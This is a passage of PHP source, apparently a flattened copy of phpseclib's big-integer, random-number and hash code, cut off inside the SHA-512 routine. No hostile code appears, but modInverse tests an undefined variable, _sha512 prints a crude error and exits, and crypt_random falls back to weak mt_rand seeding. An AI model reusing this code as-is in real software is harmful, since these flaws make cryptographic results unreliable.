* $result)) & 0xF; $result = ($result * (2 - ($x & 0xFF) * $result)) & 0xFF; $result = ($result * ((2 - ($x & 0xFFFF) * $result) & 0xFFFF)) & 0xFFFF; $result = fmod($result * (2 - fmod($x * $result, 0x4000000)) , 0x4000000); return $result & 0x3FFFFFF; } function modInverse($n) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_invert($this->value, $n->value); return ($temp->value === false) ? false : $this->_normalize($temp); } static $zero, $one; if (!isset($zero)) { $zero = new Math_BigInteger(); $one = new Math_BigInteger(1); } $n = $n->abs(); if ($this->compare($zero) < 0) { $temp = $this->abs(); $temp = $temp->modInverse($n); return $negated === false ? false : $this->_normalize($n->subtract($temp)); } extract($this->extendedGCD($n)); if (!$gcd->equals($one)) { return false; } $x = $x->compare($zero) < 0 ? $x->add($n) : $x; return $this->compare($zero) < 0 ? $this->_normalize($n->subtract($x)) : $this->_normalize($x); } function extendedGCD($n) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: extract(gmp_gcdext($this->value, $n->value)); return array( 'gcd' => $this->_normalize(new Math_BigInteger($g)) , 'x' => $this->_normalize(new Math_BigInteger($s)) , 'y' => $this->_normalize(new Math_BigInteger($t)) ); case MATH_BIGINTEGER_MODE_BCMATH: $u = $this->value; $v = $n->value; $a = '1'; $b = '0'; $c = '0'; $d = '1'; while (bccomp($v, '0', 0) != 0) { $q = bcdiv($u, $v, 0); $temp = $u; $u = $v; $v = bcsub($temp, bcmul($v, $q, 0) , 0); $temp = $a; $a = $c; $c = bcsub($temp, bcmul($a, $q, 0) , 0); $temp = $b; $b = $d; $d = bcsub($temp, bcmul($b, $q, 0) , 0); } return array( 'gcd' => $this->_normalize(new Math_BigInteger($u)) , 'x' => $this->_normalize(new Math_BigInteger($a)) , 'y' => $this->_normalize(new Math_BigInteger($b)) ); } $y = $n->copy(); $x = $this->copy(); $g = new Math_BigInteger(); $g->value = array( 1 ); while (!(($x->value[0] & 1) || ($y->value[0] & 1))) { $x->_rshift(1); $y->_rshift(1); $g->_lshift(1); } $u = $x->copy(); $v = $y->copy(); $a = new Math_BigInteger(); $b = new Math_BigInteger(); $c = new Math_BigInteger(); $d = new Math_BigInteger(); $a->value = $d->value = $g->value = array( 1 ); $b->value = $c->value = array(); while (!empty($u->value)) { while (!($u->value[0] & 1)) { $u->_rshift(1); if ((!empty($a->value) && ($a->value[0] & 1)) || (!empty($b->value) && ($b->value[0] & 1))) { $a = $a->add($y); $b = $b->subtract($x); } $a->_rshift(1); $b->_rshift(1); } while (!($v->value[0] & 1)) { $v->_rshift(1); if ((!empty($d->value) && ($d->value[0] & 1)) || (!empty($c->value) && ($c->value[0] & 1))) { $c = $c->add($y); $d = $d->subtract($x); } $c->_rshift(1); $d->_rshift(1); } if ($u->compare($v) >= 0) { $u = $u->subtract($v); $a = $a->subtract($c); $b = $b->subtract($d); } else { $v = $v->subtract($u); $c = $c->subtract($a); $d = $d->subtract($b); } } return array( 'gcd' => $this->_normalize($g->multiply($v)) , 'x' => $this->_normalize($c) , 'y' => $this->_normalize($d) ); } function gcd($n) { extract($this->extendedGCD($n)); return $gcd; } function abs() { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp->value = gmp_abs($this->value); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = (bccomp($this->value, '0', 0) < 0) ? substr($this->value, 1) : $this->value; break; default: $temp->value = $this->value; } return $temp; } function compare($y) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_cmp($this->value, $y->value); case MATH_BIGINTEGER_MODE_BCMATH: return bccomp($this->value, $y->value, 0); } return $this->_compare($this->value, $this->is_negative, $y->value, $y->is_negative); } function _compare($x_value, $x_negative, $y_value, $y_negative) { if ($x_negative != $y_negative) { return (!$x_negative && $y_negative) ? 1 : -1; } $result = $x_negative ? -1 : 1; if (count($x_value) != count($y_value)) { return (count($x_value) > count($y_value)) ? $result : -$result; } $size = max(count($x_value) , count($y_value)); $x_value = array_pad($x_value, $size, 0); $y_value = array_pad($y_value, $size, 0); for ($i = count($x_value) - 1; $i >= 0; --$i) { if ($x_value[$i] != $y_value[$i]) { return ($x_value[$i] > $y_value[$i]) ? $result : -$result; } } return 0; } function equals($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_cmp($this->value, $x->value) == 0; default: return $this->value === $x->value && $this->is_negative == $x->is_negative; } } function setPrecision($bits) { $this->precision = $bits; if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH) { $this->bitmask = new Math_BigInteger(chr((1 << ($bits & 0x7)) - 1) . str_repeat(chr(0xFF) , $bits >> 3) , 256); } else { $this->bitmask = new Math_BigInteger(bcpow('2', $bits, 0)); } $temp = $this->_normalize($this); $this->value = $temp->value; } function bitwise_and($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_and($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left) , strlen($right)); $left = str_pad($left, $length, chr(0) , STR_PAD_LEFT); $right = str_pad($right, $length, chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left & $right, 256)); } $result = $this->copy(); $length = min(count($x->value) , count($this->value)); $result->value = array_slice($result->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i] = $result->value[$i] & $x->value[$i]; } return $this->_normalize($result); } function bitwise_or($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_or($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left) , strlen($right)); $left = str_pad($left, $length, chr(0) , STR_PAD_LEFT); $right = str_pad($right, $length, chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left | $right, 256)); } $length = max(count($this->value) , count($x->value)); $result = $this->copy(); $result->value = array_pad($result->value, 0, $length); $x->value = array_pad($x->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i] = $this->value[$i] | $x->value[$i]; } return $this->_normalize($result); } function bitwise_xor($x) { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: $temp = new Math_BigInteger(); $temp->value = gmp_xor($this->value, $x->value); return $this->_normalize($temp); case MATH_BIGINTEGER_MODE_BCMATH: $left = $this->toBytes(); $right = $x->toBytes(); $length = max(strlen($left) , strlen($right)); $left = str_pad($left, $length, chr(0) , STR_PAD_LEFT); $right = str_pad($right, $length, chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($left ^ $right, 256)); } $length = max(count($this->value) , count($x->value)); $result = $this->copy(); $result->value = array_pad($result->value, 0, $length); $x->value = array_pad($x->value, 0, $length); for ($i = 0; $i < $length; ++$i) { $result->value[$i] = $this->value[$i] ^ $x->value[$i]; } return $this->_normalize($result); } function bitwise_not() { $temp = $this->toBytes(); $pre_msb = decbin(ord($temp[0])); $temp = ~ $temp; $msb = decbin(ord($temp[0])); if (strlen($msb) == 8) { $msb = substr($msb, strpos($msb, '0')); } $temp[0] = chr(bindec($msb)); $current_bits = strlen($pre_msb) + 8 * strlen($temp) - 8; $new_bits = $this->precision - $current_bits; if ($new_bits <= 0) { return $this->_normalize(new Math_BigInteger($temp, 256)); } $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF) , $new_bits >> 3); $this->_base256_lshift($leading_ones, $current_bits); $temp = str_pad($temp, ceil($this->bits / 8) , chr(0) , STR_PAD_LEFT); return $this->_normalize(new Math_BigInteger($leading_ones | $temp, 256)); } function bitwise_rightShift($shift) { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: static $two; if (!isset($two)) { $two = gmp_init('2'); } $temp->value = gmp_div_q($this->value, gmp_pow($two, $shift)); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = bcdiv($this->value, bcpow('2', $shift, 0) , 0); break; default: $temp->value = $this->value; $temp->_rshift($shift); } return $this->_normalize($temp); } function bitwise_leftShift($shift) { $temp = new Math_BigInteger(); switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: static $two; if (!isset($two)) { $two = gmp_init('2'); } $temp->value = gmp_mul($this->value, gmp_pow($two, $shift)); break; case MATH_BIGINTEGER_MODE_BCMATH: $temp->value = bcmul($this->value, bcpow('2', $shift, 0) , 0); break; default: $temp->value = $this->value; $temp->_lshift($shift); } return $this->_normalize($temp); } function bitwise_leftRotate($shift) { $bits = $this->toBytes(); if ($this->precision > 0) { $precision = $this->precision; if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $mask = $this->bitmask->subtract(new Math_BigInteger(1)); $mask = $mask->toBytes(); } else { $mask = $this->bitmask->toBytes(); } } else { $temp = ord($bits[0]); for ($i = 0; $temp >> $i; ++$i); $precision = 8 * strlen($bits) - 8 + $i; $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF) , $precision >> 3); } if ($shift < 0) { $shift+= $precision; } $shift%= $precision; if (!$shift) { return $this->copy(); } $left = $this->bitwise_leftShift($shift); $left = $left->bitwise_and(new Math_BigInteger($mask, 256)); $right = $this->bitwise_rightShift($precision - $shift); $result = MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ? $left->bitwise_or($right) : $left->add($right); return $this->_normalize($result); } function bitwise_rightRotate($shift) { return $this->bitwise_leftRotate(-$shift); } function setRandomGenerator($generator) { $this->generator = $generator; } function random($min = false, $max = false) { if ($min === false) { $min = new Math_BigInteger(0); } if ($max === false) { $max = new Math_BigInteger(0x7FFFFFFF); } $compare = $max->compare($min); if (!$compare) { return $this->_normalize($min); } else if ($compare < 0) { $temp = $max; $max = $min; $min = $temp; } $generator = $this->generator; $max = $max->subtract($min); $max = ltrim($max->toBytes() , chr(0)); $size = strlen($max) - 1; $random = ''; $bytes = $size & 1; for ($i = 0; $i < $bytes; ++$i) { $random.= chr($generator(0, 255)); } $blocks = $size >> 1; for ($i = 0; $i < $blocks; ++$i) { $random.= pack('n', $generator(0, 0xFFFF)); } $temp = new Math_BigInteger($random, 256); if ($temp->compare(new Math_BigInteger(substr($max, 1) , 256)) > 0) { $random = chr($generator(0, ord($max[0]) - 1)) . $random; } else { $random = chr($generator(0, ord($max[0]))) . $random; } $random = new Math_BigInteger($random, 256); return $this->_normalize($random->add($min)); } function randomPrime($min = false, $max = false, $timeout = false) { $compare = $max->compare($min); if (!$compare) { return $min; } else if ($compare < 0) { $temp = $max; $max = $min; $min = $temp; } if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime')) { if ($min === false) { $min = new Math_BigInteger(0); } if ($max === false) { $max = new Math_BigInteger(0x7FFFFFFF); } $x = $this->random($min, $max); $x->value = gmp_nextprime($x->value); if ($x->compare($max) <= 0) { return $x; } $x->value = gmp_nextprime($min->value); if ($x->compare($max) <= 0) { return $x; } return false; } static $one, $two; if (!isset($one)) { $one = new Math_BigInteger(1); $two = new Math_BigInteger(2); } $start = time(); $x = $this->random($min, $max); if ($x->equals($two)) { return $x; } $x->_make_odd(); if ($x->compare($max) > 0) { if ($min->equals($max)) { return false; } $x = $min->copy(); $x->_make_odd(); } $initial_x = $x->copy(); while (true) { if ($timeout !== false && time() - $start > $timeout) { return false; } if ($x->isPrime()) { return $x; } $x = $x->add($two); if ($x->compare($max) > 0) { $x = $min->copy(); if ($x->equals($two)) { return $x; } $x->_make_odd(); } if ($x->equals($initial_x)) { return false; } } } function _make_odd() { switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: gmp_setbit($this->value, 0); break; case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value[strlen($this->value) - 1] % 2 == 0) { $this->value = bcadd($this->value, '1'); } break; default: $this->value[0]|= 1; } } function isPrime($t = false) { $length = strlen($this->toBytes()); if (!$t) { if ($length >= 163) { $t = 2; } else if ($length >= 106) { $t = 3; } else if ($length >= 81) { $t = 4; } else if ($length >= 68) { $t = 5; } else if ($length >= 56) { $t = 6; } else if ($length >= 50) { $t = 7; } else if ($length >= 43) { $t = 8; } else if ($length >= 37) { $t = 9; } else if ($length >= 31) { $t = 12; } else if ($length >= 25) { $t = 15; } else if ($length >= 18) { $t = 18; } else { $t = 27; } } switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: return gmp_prob_prime($this->value, $t) != 0; case MATH_BIGINTEGER_MODE_BCMATH: if ($this->value === '2') { return true; } if ($this->value[strlen($this->value) - 1] % 2 == 0) { return false; } break; default: if ($this->value == array( 2 )) { return true; } if (~$this->value[0] & 1) { return false; } } static $primes, $zero, $one, $two; if (!isset($primes)) { $primes = array( 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997 ); if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { for ($i = 0; $i < count($primes); ++$i) { $primes[$i] = new Math_BigInteger($primes[$i]); } } $zero = new Math_BigInteger(); $one = new Math_BigInteger(1); $two = new Math_BigInteger(2); } if ($this->equals($one)) { return false; } if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) { foreach($primes as $prime) { list(, $r) = $this->divide($prime); if ($r->equals($zero)) { return $this->equals($prime); } } } else { $value = $this->value; foreach($primes as $prime) { list(, $r) = $this->_divide_digit($value, $prime); if (!$r) { return count($value) == 1 && $value[0] == $prime; } } } $n = $this->copy(); $n_1 = $n->subtract($one); $n_2 = $n->subtract($two); $r = $n_1->copy(); $r_value = $r->value; if (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH) { $s = 0; while ($r->value[strlen($r->value) - 1] % 2 == 0) { $r->value = bcdiv($r->value, '2', 0); ++$s; } } else { for ($i = 0, $r_length = count($r_value); $i < $r_length; ++$i) { $temp = ~ $r_value[$i] & 0xFFFFFF; for ($j = 1; ($temp >> $j) & 1; ++$j); if ($j != 25) { break; } } $s = 26 * $i + $j - 1; $r->_rshift($s); } for ($i = 0; $i < $t; ++$i) { $a = $this->random($two, $n_2); $y = $a->modPow($r, $n); if (!$y->equals($one) && !$y->equals($n_1)) { for ($j = 1; $j < $s && !$y->equals($n_1); ++$j) { $y = $y->modPow($two, $n); if ($y->equals($one)) { return false; } } if (!$y->equals($n_1)) { return false; } } } return true; } function _lshift($shift) { if ($shift == 0) { return; } $num_digits = (int)($shift / 26); $shift%= 26; $shift = 1 << $shift; $carry = 0; for ($i = 0; $i < count($this->value); ++$i) { $temp = $this->value[$i] * $shift + $carry; $carry = (int)($temp / 0x4000000); $this->value[$i] = (int)($temp - $carry * 0x4000000); } if ($carry) { $this->value[] = $carry; } while ($num_digits--) { array_unshift($this->value, 0); } } function _rshift($shift) { if ($shift == 0) { return; } $num_digits = (int)($shift / 26); $shift%= 26; $carry_shift = 26 - $shift; $carry_mask = (1 << $shift) - 1; if ($num_digits) { $this->value = array_slice($this->value, $num_digits); } $carry = 0; for ($i = count($this->value) - 1; $i >= 0; --$i) { $temp = $this->value[$i] >> $shift | $carry; $carry = ($this->value[$i] & $carry_mask) << $carry_shift; $this->value[$i] = $temp; } $this->value = $this->_trim($this->value); } function _normalize($result) { $result->precision = $this->precision; $result->bitmask = $this->bitmask; switch (MATH_BIGINTEGER_MODE) { case MATH_BIGINTEGER_MODE_GMP: if (!empty($result->bitmask->value)) { $result->value = gmp_and($result->value, $result->bitmask->value); } return $result; case MATH_BIGINTEGER_MODE_BCMATH: if (!empty($result->bitmask->value)) { $result->value = bcmod($result->value, $result->bitmask->value); } return $result; } $value = & $result->value; if (!count($value)) { return $result; } $value = $this->_trim($value); if (!empty($result->bitmask->value)) { $length = min(count($value) , count($this->bitmask->value)); $value = array_slice($value, 0, $length); for ($i = 0; $i < $length; ++$i) { $value[$i] = $value[$i] & $this->bitmask->value[$i]; } } return $result; } function _trim($value) { for ($i = count($value) - 1; $i >= 0; --$i) { if ($value[$i]) { break; } unset($value[$i]); } return $value; } function _array_repeat($input, $multiplier) { return ($multiplier) ? array_fill(0, $multiplier, $input) : array(); } function _base256_lshift(&$x, $shift) { if ($shift == 0) { return; } $num_bytes = $shift >> 3; $shift&= 7; $carry = 0; for ($i = strlen($x) - 1; $i >= 0; --$i) { $temp = ord($x[$i]) << $shift | $carry; $x[$i] = chr($temp); $carry = $temp >> 8; } $carry = ($carry != 0) ? chr($carry) : ''; $x = $carry . $x . str_repeat(chr(0) , $num_bytes); } function _base256_rshift(&$x, $shift) { if ($shift == 0) { $x = ltrim($x, chr(0)); return ''; } $num_bytes = $shift >> 3; $shift&= 7; $remainder = ''; if ($num_bytes) { $start = $num_bytes > strlen($x) ? -strlen($x) : -$num_bytes; $remainder = substr($x, $start); $x = substr($x, 0, -$num_bytes); } $carry = 0; $carry_shift = 8 - $shift; for ($i = 0; $i < strlen($x); ++$i) { $temp = (ord($x[$i]) >> $shift) | $carry; $carry = (ord($x[$i]) << $carry_shift) & 0xFF; $x[$i] = chr($temp); } $x = ltrim($x, chr(0)); $remainder = chr($carry >> $carry_shift) . $remainder; return ltrim($remainder, chr(0)); } function _int2bytes($x) { return ltrim(pack('N', $x) , chr(0)); } function _bytes2int($x) { $temp = unpack('Nint', str_pad($x, 4, chr(0) , STR_PAD_LEFT)); return $temp['int']; } } function crypt_random($min = 0, $max = 0x7FFFFFFF) { if ($min == $max) { return $min; } static $urandom = true; if ($urandom === true) { $urandom = @fopen('/dev/urandom', 'rb'); } if (!is_bool($urandom)) { extract(unpack('Nrandom', fread($urandom, 4))); return abs($random) % ($max - $min) + $min; } if (version_compare(PHP_VERSION, '5.2.5', '<=')) { static $seeded; if (!isset($seeded)) { $seeded = true; mt_srand(fmod(time() * getmypid() , 0x7FFFFFFF) ^ fmod(1000000 * lcg_value() , 0x7FFFFFFF)); } } static $crypto; if (!isset($crypto)) { $key = $iv = ''; for ($i = 0; $i < 8; $i++) { $key.= pack('n', mt_rand(0, 0xFFFF)); $iv.= pack('n', mt_rand(0, 0xFFFF)); } switch (true) { case class_exists('Crypt_AES'): $crypto = new Crypt_AES(CRYPT_AES_MODE_CTR); break; case class_exists('Crypt_TripleDES'): $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CTR); break; case class_exists('Crypt_DES'): $crypto = new Crypt_DES(CRYPT_DES_MODE_CTR); break; case class_exists('Crypt_RC4'): $crypto = new Crypt_RC4(); break; default: extract(unpack('Nrandom', pack('H*', sha1(mt_rand(0, 0x7FFFFFFF))))); return abs($random) % ($max - $min) + $min; } $crypto->setKey($key); $crypto->setIV($iv); $crypto->enableContinuousBuffer(); } extract(unpack('Nrandom', $crypto->encrypt("\0\0\0\0"))); return abs($random) % ($max - $min) + $min; } define('CRYPT_HASH_MODE_INTERNAL', 1); define('CRYPT_HASH_MODE_MHASH', 2); define('CRYPT_HASH_MODE_HASH', 3); class Crypt_Hash { var $b; var $l = false; var $hash; var $key = ''; var $opad; var $ipad; function Crypt_Hash($hash = 'sha1') { if (!defined('CRYPT_HASH_MODE')) { switch (true) { case extension_loaded('hash'): define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_HASH); break; case extension_loaded('mhash'): define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_MHASH); break; default: define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_INTERNAL); } } $this->setHash($hash); } function setKey($key) { $this->key = $key; } function setHash($hash) { switch ($hash) { case 'md5-96': case 'sha1-96': $this->l = 12; break; case 'md2': case 'md5': $this->l = 16; break; case 'sha1': $this->l = 20; break; case 'sha256': $this->l = 32; break; case 'sha384': $this->l = 48; break; case 'sha512': $this->l = 64; } switch ($hash) { case 'md2': $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_HASH && in_array('md2', hash_algos()) ? CRYPT_HASH_MODE_HASH : CRYPT_HASH_MODE_INTERNAL; break; case 'sha384': case 'sha512': $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_MHASH ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE; break; default: $mode = CRYPT_HASH_MODE; } switch ($mode) { case CRYPT_HASH_MODE_MHASH: switch ($hash) { case 'md5': case 'md5-96': $this->hash = MHASH_MD5; break; case 'sha256': $this->hash = MHASH_SHA256; break; case 'sha1': case 'sha1-96': default: $this->hash = MHASH_SHA1; } return; case CRYPT_HASH_MODE_HASH: switch ($hash) { case 'md5': case 'md5-96': $this->hash = 'md5'; return; case 'md2': case 'sha256': case 'sha384': case 'sha512': $this->hash = $hash; return; case 'sha1': case 'sha1-96': default: $this->hash = 'sha1'; } return; } switch ($hash) { case 'md2': $this->b = 16; $this->hash = array( $this, '_md2' ); break; case 'md5': case 'md5-96': $this->b = 64; $this->hash = array( $this, '_md5' ); break; case 'sha256': $this->b = 64; $this->hash = array( $this, '_sha256' ); break; case 'sha384': case 'sha512': $this->b = 128; $this->hash = array( $this, '_sha512' ); break; case 'sha1': case 'sha1-96': default: $this->b = 64; $this->hash = array( $this, '_sha1' ); } $this->ipad = str_repeat(chr(0x36) , $this->b); $this->opad = str_repeat(chr(0x5C) , $this->b); } function hash($text) { $mode = is_array($this->hash) ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE; if (!empty($this->key)) { switch ($mode) { case CRYPT_HASH_MODE_MHASH: $output = mhash($this->hash, $text, $this->key); break; case CRYPT_HASH_MODE_HASH: $output = hash_hmac($this->hash, $text, $this->key, true); break; case CRYPT_HASH_MODE_INTERNAL: $key = strlen($this->key) > $this->b ? call_user_func($this->hash, $this->key) : $this->key; $key = str_pad($key, $this->b, chr(0)); $temp = $this->ipad ^ $key; $temp.= $text; $temp = call_user_func($this->hash, $temp); $output = $this->opad ^ $key; $output.= $temp; $output = call_user_func($this->hash, $output); } } else { switch ($mode) { case CRYPT_HASH_MODE_MHASH: $output = mhash($this->hash, $text); break; case CRYPT_HASH_MODE_HASH: $output = hash($this->hash, $text, true); break; case CRYPT_HASH_MODE_INTERNAL: $output = call_user_func($this->hash, $text); } } return substr($output, 0, $this->l); } function getLength() { return $this->l; } function _md5($m) { return pack('H*', md5($m)); } function _sha1($m) { return pack('H*', sha1($m)); } function _md2($m) { static $s = array( 41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6, 19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188, 76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24, 138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251, 245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63, 148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50, 39, 53, 62, 204, 231, 191, 247, 151, 3, 255, 25, 48, 179, 72, 165, 181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210, 150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157, 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27, 96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15, 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197, 234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65, 129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123, 8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233, 203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228, 166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237, 31, 26, 219, 153, 141, 51, 159, 17, 131, 20 ); $pad = 16 - (strlen($m) & 0xF); $m.= str_repeat(chr($pad) , $pad); $length = strlen($m); $c = str_repeat(chr(0) , 16); $l = chr(0); for ($i = 0; $i < $length; $i+= 16) { for ($j = 0; $j < 16; $j++) { $c[$j] = chr($s[ord($m[$i + $j] ^ $l) ] ^ ord($c[$j])); $l = $c[$j]; } } $m.= $c; $length+= 16; $x = str_repeat(chr(0) , 48); for ($i = 0; $i < $length; $i+= 16) { for ($j = 0; $j < 16; $j++) { $x[$j + 16] = $m[$i + $j]; $x[$j + 32] = $x[$j + 16] ^ $x[$j]; } $t = chr(0); for ($j = 0; $j < 18; $j++) { for ($k = 0; $k < 48; $k++) { $x[$k] = $t = $x[$k] ^ chr($s[ord($t) ]); } $t = chr(ord($t) + $j); } } return substr($x, 0, 16); } function _sha256($m) { if (extension_loaded('suhosin')) { return pack('H*', sha256($m)); } $hash = array( 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 ); static $k = array( 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ); $length = strlen($m); $m.= str_repeat(chr(0) , 64 - (($length + 8) & 0x3F)); $m[$length] = chr(0x80); $m.= pack('N2', 0, $length << 3); $chunks = str_split($m, 64); foreach($chunks as $chunk) { $w = array(); for ($i = 0; $i < 16; $i++) { extract(unpack('Ntemp', $this->_string_shift($chunk, 4))); $w[] = $temp; } for ($i = 16; $i < 64; $i++) { $s0 = $this->_rightRotate($w[$i - 15], 7) ^ $this->_rightRotate($w[$i - 15], 18) ^ $this->_rightShift($w[$i - 15], 3); $s1 = $this->_rightRotate($w[$i - 2], 17) ^ $this->_rightRotate($w[$i - 2], 19) ^ $this->_rightShift($w[$i - 2], 10); $w[$i] = $this->_add($w[$i - 16], $s0, $w[$i - 7], $s1); } list($a, $b, $c, $d, $e, $f, $g, $h) = $hash; for ($i = 0; $i < 64; $i++) { $s0 = $this->_rightRotate($a, 2) ^ $this->_rightRotate($a, 13) ^ $this->_rightRotate($a, 22); $maj = ($a & $b) ^ ($a & $c) ^ ($b & $c); $t2 = $this->_add($s0, $maj); $s1 = $this->_rightRotate($e, 6) ^ $this->_rightRotate($e, 11) ^ $this->_rightRotate($e, 25); $ch = ($e & $f) ^ ($this->_not($e) & $g); $t1 = $this->_add($h, $s1, $ch, $k[$i], $w[$i]); $h = $g; $g = $f; $f = $e; $e = $this->_add($d, $t1); $d = $c; $c = $b; $b = $a; $a = $this->_add($t1, $t2); } $hash = array( $this->_add($hash[0], $a) , $this->_add($hash[1], $b) , $this->_add($hash[2], $c) , $this->_add($hash[3], $d) , $this->_add($hash[4], $e) , $this->_add($hash[5], $f) , $this->_add($hash[6], $g) , $this->_add($hash[7], $h) ); } return pack('N8', $hash[0], $hash[1], $hash[2], $hash[3], $hash[4], $hash[5], $hash[6], $hash[7]); } function _sha512($m) { if (!class_exists('Math_BigInteger')) { echo 'your fucked'; exit; } static $init384, $init512, $k; if (!isset($k)) { $init384 = array( 'cbbb9d5dc1059ed8', '629a292a367cd507', '9159015a3070dd17', '152fecd8f70e5939', '67332667ffc00b31', '8eb44a8768581511', 'db0c2e0d64f98fa7', '47b5481dbefa4fa4' ); $init512 = array( '6a09e667f3bcc908', 'bb67ae8584caa73b', '3c6ef372fe94f82b', 'a54ff53a5f1d36f1', '510e527fade682d1', '9b05688c2b3e6c1f', '1f83d9abfb41bd6b', 